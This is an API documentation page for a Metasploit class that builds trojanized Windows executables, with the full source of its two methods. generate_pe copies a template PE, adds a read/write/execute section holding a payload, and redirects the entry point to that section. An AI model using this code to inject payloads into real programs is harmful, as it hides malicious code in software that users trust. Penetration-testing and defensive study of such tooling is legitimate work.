Class: Msf::Exe::SegmentAppender

Inherits:
SegmentInjector show all
Defined in:
lib/msf/core/exe/segment_appender.rb

Instance Attribute Summary

Attributes inherited from SegmentInjector

#arch, #buffer_register, #payload, #secname, #template

Instance Method Summary collapse

Methods inherited from SegmentInjector

#create_thread_stub, #create_thread_stub_x64, #create_thread_stub_x86, #dll_prefix, #initialize, #is_warbird?, #processor

Constructor Details

This class inherits a constructor from Msf::Exe::SegmentInjector

Instance Method Details

#generate_peObject



16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# File 'lib/msf/core/exe/segment_appender.rb', line 16

def generate_pe
  # Copy our Template into a new PE
  pe_orig = Metasm::PE.decode_file(template)
  pe = pe_orig.mini_copy

  # Copy the headers and exports
  pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
  pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
  pe.header.time = pe_orig.header.time

  # Don't rebase if we can help it since Metasm doesn't do relocations well
  pe.optheader.dll_characts.delete("DYNAMIC_BASE")

  # TODO: Look at supporting DLLs in the future
  prefix = ''

  # Create a new section
  s = Metasm::PE::Section.new
  if secname.blank?
    s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
  else
    s.name = '.' + secname.downcase
  end
  s.encoded = payload_stub prefix
  s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]

  pe.sections << s
  pe.invalidate_header

  # Change the entrypoint to our new section
  pe.optheader.entrypoint = 'new_entrypoint'
  pe.cpu = pe_orig.cpu

  pe.encode_string
end

#payload_stub(prefix) ⇒ Object



9
10
11
12
13
14
# File 'lib/msf/core/exe/segment_appender.rb', line 9

def payload_stub(prefix)
  # TODO: Implement possibly helpful payload obfuscation
  asm = "new_entrypoint:\n#{prefix}\n"
  shellcode = Metasm::Shellcode.assemble(processor, asm)
  shellcode.encoded + @payload
end